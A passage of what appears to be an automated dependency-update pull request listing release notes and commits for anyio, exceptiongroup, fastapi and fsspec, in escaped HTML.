ability to set the token count of a \u003ccode\u003eCapacityLimiter\u003c/code\u003e to zero (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1019\"\u003e#1019\u003c/a\u003e; requires Python 3.10 or later when using Trio)\u003c/li\u003e\n\u003cli\u003eAdded parameters \u003ccode\u003ecase_sensitive\u003c/code\u003e and \u003ccode\u003erecurse_symlinks\u003c/code\u003e along with support for path-like objects to \u003ccode\u003eanyio.Path.glob()\u003c/code\u003e and \u003ccode\u003eanyio.Path.rglob()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1033\"\u003e#1033\u003c/a\u003e; PR by \u003ca href=\"https://github.com/northisup\"\u003e\u003ccode\u003e@​northisup\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDropped \u003ccode\u003esniffio\u003c/code\u003e as a direct dependency and added the \u003ccode\u003eget_available_backends()\u003c/code\u003e function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1021\"\u003e#1021\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not raising \u003ccode\u003eClosedResourceError\u003c/code\u003e and \u003ccode\u003eBrokenResourceError\u003c/code\u003e on asyncio. Previously, a non-AnyIO exception was raised in such cases (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/671\"\u003e#671\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eProcess.stdin.send()\u003c/code\u003e not checkpointing before writing data on asyncio (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1002\"\u003e#1002\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a race condition where cancelling a \u003ccode\u003eFuture\u003c/code\u003e from \u003ccode\u003eBlockingPortal.start_task_soon()\u003c/code\u003e would sometimes not cancel the async function (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1011\"\u003e#1011\u003c/a\u003e; PR by \u003ca href=\"https://github.com/gschaffner\"\u003e\u003ccode\u003e@​gschaffner\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed the presence of the pytest plugin causing breakage with older versions of pytest (\u0026lt;= 6.1.2) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1028\"\u003e#1028\u003c/a\u003e; PR by \u003ca href=\"https://github.com/saper\"\u003e\u003ccode\u003e@​saper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed a rarely occurring \u003ccode\u003eRuntimeError: Set changed size during iteration\u003c/code\u003e while shutting down the process pool when using the asyncio backend (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/985\"\u003e#985\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/bc021b634291223d6829c0a689152173443a8545\"\u003e\u003ccode\u003ebc021b6\u003c/code\u003e\u003c/a\u003e Fixed the download-artifact settings to retain the expected behavior\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/c6000aa2837f75733f3c09c454f5a31eb9f9f536\"\u003e\u003ccode\u003ec6000aa\u003c/code\u003e\u003c/a\u003e Corrected the format of the version in the changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9d1bfe0da4261bcef3c10cd31218237805a89937\"\u003e\u003ccode\u003e9d1bfe0\u003c/code\u003e\u003c/a\u003e Bumped up the version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/77f7ce25e12c9becf5081105a47b1914e50a3e0a\"\u003e\u003ccode\u003e77f7ce2\u003c/code\u003e\u003c/a\u003e Fixed RuntimeError while shutting down the asyncio process pool (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1039\"\u003e#1039\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/aecc666e6b3b40f977ee715d141bdd89711b45cb\"\u003e\u003ccode\u003eaecc666\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1036\"\u003e#1036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/e5569adf98394dfabebccf215a04d05d7819b506\"\u003e\u003ccode\u003ee5569ad\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 in the github-actions group (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1037\"\u003e#1037\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/dde3ab8583cb194e663f6fb87703a4a79e2701eb\"\u003e\u003ccode\u003edde3ab8\u003c/code\u003e\u003c/a\u003e Moved a changelog entry to its correct position\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/250d4f183245bf7ee5ead0ff39d521cda2b8d617\"\u003e\u003ccode\u003e250d4f1\u003c/code\u003e\u003c/a\u003e Restore compatibility with pytest\u0026lt;=6.1.2 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1030\"\u003e#1030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/3708e227838e2f51464900cf806b25c30ca458a7\"\u003e\u003ccode\u003e3708e22\u003c/code\u003e\u003c/a\u003e Fixed a typo in the documentation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1035\"\u003e#1035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/anyio/commit/9adbe08c55e725b0388dcc4ab7556875da881a4c\"\u003e\u003ccode\u003e9adbe08\u003c/code\u003e\u003c/a\u003e Add new params to Path.glob \u0026amp; Path.rglob introduced since 3.12 (\u003ca href=\"https://redirect.github.com/agronholm/anyio/issues/1034\"\u003e#1034\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/agronholm/anyio/compare/4.11.0...4.12.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `exceptiongroup` from 1.3.0 to 1.3.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/releases\"\u003eexceptiongroup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e when formatting unpickled TBEs from another Python process which did not apply the \u003ccode\u003eexceptiongroup\u003c/code\u003e patches (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/144\"\u003e#144\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/exceptiongroup/blob/main/CHANGES.rst\"\u003eexceptiongroup's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eVersion history\u003c/h1\u003e\n\u003cp\u003eThis library adheres to \u003ccode\u003eSemantic Versioning 2.0 \u0026lt;http://semver.org/\u0026gt;\u003c/code\u003e_.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eAttributeError: 'TracebackException' object has no attribute 'exceptions'\u003c/code\u003e\nwhen formatting unpickled TBEs from another Python process which did not apply the\n\u003ccode\u003eexceptiongroup\u003c/code\u003e patches\n(\u003ccode\u003e[#144](https://github.com/agronholm/exceptiongroup/issues/144) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/144\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.3.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003e**kwargs\u003c/code\u003e to function and method signatures as appropriate to match the\nsignatures in the standard library\u003c/li\u003e\n\u003cli\u003eIn line with the stdlib typings in typeshed, updated \u003ccode\u003e(Base)ExceptionGroup\u003c/code\u003e generic\ntypes to define defaults for their generic arguments (defaulting to\n\u003ccode\u003eBaseExceptionGroup[BaseException]\u003c/code\u003e and \u003ccode\u003eExceptionGroup[Exception]\u003c/code\u003e)\n(PR by \u003ca href=\"https://github.com/mikenerone\"\u003e\u003ccode\u003e@​mikenerone\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged \u003ccode\u003eBaseExceptionGroup.__init__()\u003c/code\u003e to directly call\n\u003ccode\u003eBaseException.__init__()\u003c/code\u003e instead of the superclass \u003ccode\u003e__init__()\u003c/code\u003e in order to\nemulate the CPython behavior (broken or not) (PR by \u003ca href=\"https://github.com/cfbolz\"\u003e\u003ccode\u003e@​cfbolz\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanged the \u003ccode\u003eexceptions\u003c/code\u003e attribute to always return the same tuple of exceptions,\ncreated from the original exceptions sequence passed to \u003ccode\u003eBaseExceptionGroup\u003c/code\u003e to\nmatch CPython behavior\n(\u003ccode\u003e[#143](https://github.com/agronholm/exceptiongroup/issues/143) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/143\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.2\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved an \u003ccode\u003eassert\u003c/code\u003e in \u003ccode\u003eexceptiongroup._formatting\u003c/code\u003e that caused compatibility\nissues with Sentry (\u003ccode\u003e[#123](https://github.com/agronholm/exceptiongroup/issues/123) \u0026lt;https://github.com/agronholm/exceptiongroup/issues/123\u0026gt;\u003c/code\u003e_)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.1\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated the copying of \u003ccode\u003e__notes__\u003c/code\u003e to match CPython behavior (PR by CF Bolz-Tereick)\u003c/li\u003e\n\u003cli\u003eCorrected the type annotation of the exception handler callback to accept a\n\u003ccode\u003eBaseExceptionGroup\u003c/code\u003e instead of \u003ccode\u003eBaseException\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eFixed type errors on Python \u0026lt; 3.10 and the type annotation of \u003ccode\u003esuppress()\u003c/code\u003e\n(PR by John Litborn)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003e1.2.0\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdded special monkeypatching if \u003ccode\u003eApport \u0026lt;https://github.com/canonical/apport\u0026gt;\u003c/code\u003e_ has\noverridden \u003ccode\u003esys.excepthook\u003c/code\u003e so it will format exception groups correctly\n(PR by John Litborn)\u003c/li\u003e\n\u003cli\u003eAdded a backport of \u003ccode\u003econtextlib.suppress()\u003c/code\u003e from Python 3.12.1 which also handles\nsuppressing exceptions inside exception groups\u003c/li\u003e\n\u003cli\u003eFixed bare \u003ccode\u003eraise\u003c/code\u003e in a handler reraising the original naked exception rather than\nan exception group which is what is raised when you do a \u003ccode\u003eraise\u003c/code\u003e in an \u003ccode\u003eexcept*\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ddddb6fdf8582c4ae5187dc1bd258115974229fe\"\u003e\u003ccode\u003eddddb6f\u003c/code\u003e\u003c/a\u003e Added the release version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/49c5e60d9efad1416f4f42455e119375904a1d6d\"\u003e\u003ccode\u003e49c5e60\u003c/code\u003e\u003c/a\u003e Fixed AttributeError when formatting unpickled TBEs from an unpatched process\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/1be517f553249822a8fa12a4d7520d4b3ef15acd\"\u003e\u003ccode\u003e1be517f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/152\"\u003e#152\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/af0ea2fdfe218a4c2a1cb31ebd1a61dba459af6f\"\u003e\u003ccode\u003eaf0ea2f\u003c/code\u003e\u003c/a\u003e [pre-commit.ci] pre-commit autoupdate (\u003ca href=\"https://redirect.github.com/agronholm/exceptiongroup/issues/149\"\u003e#149\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/7c980a88a06a72db3d796d98504b335d24274abb\"\u003e\u003ccode\u003e7c980a8\u003c/code\u003e\u003c/a\u003e Removed pin on pyright version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ef853368c8b94479adbd33cc58f1cac05839e116\"\u003e\u003ccode\u003eef85336\u003c/code\u003e\u003c/a\u003e Fixed typing job not finding Python 3.14\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/080b3f4e925bbdb8cee70cc30c5ef2937eab2bde\"\u003e\u003ccode\u003e080b3f4\u003c/code\u003e\u003c/a\u003e Pinned pyright version to fix typeshed related failure\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/ac660908a1987880eddbb249947c1eef6e08513b\"\u003e\u003ccode\u003eac66090\u003c/code\u003e\u003c/a\u003e Added Python 3.14 to the test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/agronholm/exceptiongroup/commit/a0da94dadfb39c0b52c0cd5c87ace166b00f74c1\"\u003e\u003ccode\u003ea0da94d\u003c/code\u003e\u003c/a\u003e Fixed test failures on Python 3.14\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/agronholm/exceptiongroup/compare/1.3.0...1.3.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fastapi` from 0.121.2 to 0.124.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastapi/fastapi/releases\"\u003efastapi's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.124.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🚸  Improve tracebacks by adding endpoint metadata. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14306\"\u003e#14306\u003c/a\u003e by \u003ca href=\"https://github.com/savannahostrowski\"\u003e\u003ccode\u003e@​savannahostrowski\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14457\"\u003e#14457\u003c/a\u003e by \u003ca href=\"https://github.com/yujiteshima\"\u003e\u003ccode\u003e@​yujiteshima\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.10\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14458\"\u003e#14458\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14453\"\u003e#14453\u003c/a\u003e by \u003ca href=\"https://github.com/YuriiMotov\"\u003e\u003ccode\u003e@​YuriiMotov\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.9\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OAuth2 scopes in OpenAPI in extra corner cases, parent dependency with scopes, sub-dependency security scheme without scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14459\"\u003e#14459\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.8\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix OpenAPI security scheme OAuth2 scopes declaration, deduplicate security schemes with different scopes. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14455\"\u003e#14455\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.7\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix evaluating stringified annotations in Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/11355\"\u003e#11355\u003c/a\u003e by \u003ca href=\"https://github.com/chaen\"\u003e\u003ccode\u003e@​chaen\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.6\u003c/h2\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix support for functools wraps and partial combined, for async and regular functions and classes in path operations and dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14448\"\u003e#14448\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.123.5\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e✨ Allow using dependables with \u003ccode\u003efunctools.partial()\u003c/code\u003e. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/9753\"\u003e#9753\u003c/a\u003e by \u003ca href=\"https://github.com/lieryan\"\u003e\u003ccode\u003e@​lieryan\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✨ Add support for wrapped functions (e.g. \u003ccode\u003e@functools.wraps()\u003c/code\u003e) used with forward references. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/5077\"\u003e#5077\u003c/a\u003e by \u003ca href=\"https://github.com/lucaswiman\"\u003e\u003ccode\u003e@​lucaswiman\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e✨ Handle wrapped dependencies. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/9555\"\u003e#9555\u003c/a\u003e by \u003ca href=\"https://github.com/phy1729\"\u003e\u003ccode\u003e@​phy1729\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🐛 Fix optional sequence handling with new union syntax from Python 3.10. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14430\"\u003e#14430\u003c/a\u003e by \u003ca href=\"https://github.com/Viicos\"\u003e\u003ccode\u003e@​Viicos\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRefactors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e🔥 Remove dangling extra condiitonal no longer needed. PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14435\"\u003e#14435\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e♻️ Refactor internals, update \u003ccode\u003eis_coroutine\u003c/code\u003e check to reuse internal supported variants (unwrap, check class). PR \u003ca href=\"https://redirect.github.com/fastapi/fastapi/pull/14434\"\u003e#14434\u003c/a\u003e by \u003ca href=\"https://github.com/tiangolo\"\u003e\u003ccode\u003e@​tiangolo\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/b5ca13249e3f2002c70c3f2de528a128af2008f7\"\u003e\u003ccode\u003eb5ca132\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.124.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/a2cef707e30fb6eb14812e4e273e34079d30ae6b\"\u003e\u003ccode\u003ea2cef70\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/5b6245666b8a499d2551caff7567056ef7f881b2\"\u003e\u003ccode\u003e5b62456\u003c/code\u003e\u003c/a\u003e ✏️ Fix typo in \u003ccode\u003escripts/mkdocs_hooks.py\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14457\"\u003e#14457\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/dbd34f15789f4afa851e339cea4fcd49f421039d\"\u003e\u003ccode\u003edbd34f1\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/e1117f75505bbdb2d42321a009dbf26c9c2b8b6d\"\u003e\u003ccode\u003ee1117f7\u003c/code\u003e\u003c/a\u003e 🚸  Improve tracebacks by adding endpoint metadata (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14306\"\u003e#14306\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/08b09e5236e315b6f10265ed229f130d4befb4ea\"\u003e\u003ccode\u003e08b09e5\u003c/code\u003e\u003c/a\u003e 🔖 Release version 0.123.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/e7d7038dfa35fc923f20fd11a969d2e65e1b9df1\"\u003e\u003ccode\u003ee7d7038\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/da0ffab0b260475499294d3dc767409d7bca5c34\"\u003e\u003ccode\u003eda0ffab\u003c/code\u003e\u003c/a\u003e 🐛 Fix using class (not instance) dependency that has \u003ccode\u003e__call__\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14458\"\u003e#14458\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/516169428d2fa189d34318ebc469a082c49c1189\"\u003e\u003ccode\u003e5161694\u003c/code\u003e\u003c/a\u003e 📝 Update release notes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastapi/fastapi/commit/812a1926f06391b22b081fdb11fe7528e3b91293\"\u003e\u003ccode\u003e812a192\u003c/code\u003e\u003c/a\u003e 🐛 Fix \u003ccode\u003eseparate_input_output_schemas=False\u003c/code\u003e with \u003ccode\u003ecomputed_field\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/fastapi/fastapi/issues/14453\"\u003e#14453\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastapi/fastapi/compare/0.121.2...0.124.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `fsspec[http]` from 2025.10.0 to 2025.12.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/f199984f418ba7bdc5f8b56787e6f572047473a8\"\u003e\u003ccode\u003ef199984\u003c/code\u003e\u003c/a\u003e changelog (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1955\"\u003e#1955\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/cfb7a2544f4e1b0a053ff8b2a835d00ad39e66ee\"\u003e\u003ccode\u003ecfb7a25\u003c/code\u003e\u003c/a\u003e fix(async): fix _glob kwargs passing (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1953\"\u003e#1953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/5fe1abcdfda1c4efd3e3ca003a11013de26594ce\"\u003e\u003ccode\u003e5fe1abc\u003c/code\u003e\u003c/a\u003e Mark dir fs, async wrapper as chained (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1932\"\u003e#1932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/97c0a0f5938470b32c5f637ed6f736cb8fa86d8b\"\u003e\u003ccode\u003e97c0a0f\u003c/code\u003e\u003c/a\u003e fix(asyn): support sync style implementation in async _rm_file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1951\"\u003e#1951\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/0d9a9226e6fe466fb6e142ccc89625fbf2ef15ae\"\u003e\u003ccode\u003e0d9a922\u003c/code\u003e\u003c/a\u003e Simplify and extend fsspec.parquet for filters and multi-file (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1945\"\u003e#1945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/25b805d2cf8f347fe0a40dc557e908e667ab8e7a\"\u003e\u003ccode\u003e25b805d\u003c/code\u003e\u003c/a\u003e Expose connection errors in HTTPFileSystem._exists (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1849\"\u003e#1849\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/85b632448cfc0d662e852314c509a33606328af2\"\u003e\u003ccode\u003e85b6324\u003c/code\u003e\u003c/a\u003e add .size to ArrowFile (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1944\"\u003e#1944\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dae0e8028776cedc9a0381f0033d870d5bde6b73\"\u003e\u003ccode\u003edae0e80\u003c/code\u003e\u003c/a\u003e Allow user override of seekable parameter in ArrowFSWrapper methods (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1950\"\u003e#1950\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fsspec/filesystem_spec/commit/dbc633e4df6dbb928c7bcd753b3479d6cbe5bfe1\"\u003e\u003ccode\u003edbc633e\u003c/code\u003e\u003c/a\u003e Add support for Python 3.14 and drop EOL 3.9 (\u003ca href=\"https://redirect.github.com/fsspec/filesystem_spec/issues/1946\"\u003e#1946\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 